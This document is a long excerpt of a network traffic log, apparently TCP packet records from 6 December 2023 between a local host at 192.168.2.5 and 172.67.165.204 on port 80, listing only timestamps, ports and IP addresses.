Dec 6, 2023 14:50:51.207156897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.207235098 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.207274914 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.207439899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.207509995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.207546949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.207577944 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.207822084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.207864046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.207879066 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.207926989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.207962036 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.207989931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.208038092 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.208072901 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.208106995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.208154917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.208192110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.208199978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.208247900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.208281994 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.208333015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.208384037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.208419085 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.208453894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.208925009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.208967924 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.208988905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.209048033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.209089041 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.209121943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.209224939 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.209266901 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.209300041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.209391117 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.209434032 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.209753990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.209784031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.209825993 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.209841967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.209897995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.209939003 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.209944010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210083008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210124969 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.210155010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210202932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210243940 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.210277081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210370064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210410118 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.210654020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210728884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210757971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210772038 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.210800886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210836887 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.210886955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210927010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.210963011 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.211051941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211081982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211117983 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.211127043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211186886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211219072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.211251974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211334944 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211375952 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.211551905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211596012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211636066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.211689949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211798906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211833954 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.211837053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211898088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.211931944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.211983919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212095976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212131977 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.212183952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212440968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212476969 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.212496996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212543011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212579012 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.212611914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212692022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212732077 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.212764025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212867975 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212910891 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.212924957 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.212971926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.213006973 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.213057995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.213114977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.213150978 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.213407040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.213449001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.213483095 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.213511944 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.213571072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.213613033 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.213665009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.213818073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.213852882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.213948011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214005947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214041948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.214075089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214163065 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214196920 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.214411974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214498997 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214536905 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.214570045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214629889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214667082 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.214719057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214816093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214852095 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.214904070 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.214975119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.215008974 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.215059996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.215152025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.215192080 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.215455055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.215514898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.215548992 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.215646982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.215780020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.215814114 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.215846062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.215926886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.215961933 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.216007948 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.216316938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.216352940 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.216382027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.216533899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.216577053 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.216624022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.216743946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.216782093 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.216785908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.216845989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.216888905 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.216912985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.216983080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217015982 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.217026949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217083931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217118025 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.217144966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217220068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217257023 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.217470884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217535973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217567921 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217572927 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.217678070 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217710972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217711926 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.217799902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217833996 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.217844009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217881918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.217915058 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.218044996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.218359947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.218403101 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.218413115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.218496084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.218535900 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.218563080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.218624115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.218666077 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.218694925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.218765020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.218799114 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.218825102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219124079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219161987 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.219177008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219223022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219259024 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.219322920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219388008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219420910 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.219423056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219505072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219541073 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.219566107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219621897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219656944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.219698906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219948053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.219993114 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.220016003 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.220046043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.220083952 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.220112085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.220185995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.220226049 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.220268965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.220350027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.220391989 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.220421076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.220494986 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.220529079 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.220571041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.220887899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.220928907 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.220957994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.221065998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.221106052 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.221206903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.221318007 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.221357107 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.221385956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.221479893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.221529007 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.221559048 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.221823931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.221864939 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.221890926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.221957922 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.221997976 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.222028017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.222109079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.222151995 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.222182035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.222330093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.222372055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.222402096 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.222583055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.222624063 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.222815990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.222887039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.222925901 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.222954035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223054886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223093987 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.223124981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223149061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223187923 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.223216057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223253965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223289013 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.223316908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223388910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223423958 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.223491907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223778963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223819017 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.223848104 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223939896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.223978996 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.223992109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224036932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224077940 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.224092007 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224138975 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224173069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224174023 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.224301100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224339962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.224558115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224606991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224639893 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.224682093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224796057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224833012 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.224863052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224929094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.224962950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.224992037 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.225050926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.225085020 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.225333929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.225409031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.225450993 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.225526094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.225615978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.225651026 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.225694895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.225867033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.225903034 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.225951910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.226046085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.226084948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.226115942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.226227045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.226259947 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.226365089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.226788998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.226824045 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.226871967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.227185011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.227226019 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.227247953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.227292061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.227324009 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.227351904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.227444887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.227480888 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.227549076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.227638960 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.227673054 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.227777004 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.228075981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.228110075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.228157043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.228275061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.228307962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.228354931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.228466034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.228497982 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.228545904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.228631973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.228669882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.228708982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.229063034 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.229099989 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.229110956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.229177952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.229213953 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.229243040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.229285955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.229324102 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.229372978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.229449987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.229482889 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.229515076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.229830980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.229865074 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.229890108 CET	80	49705	172.67.165.204	192.168.2.5
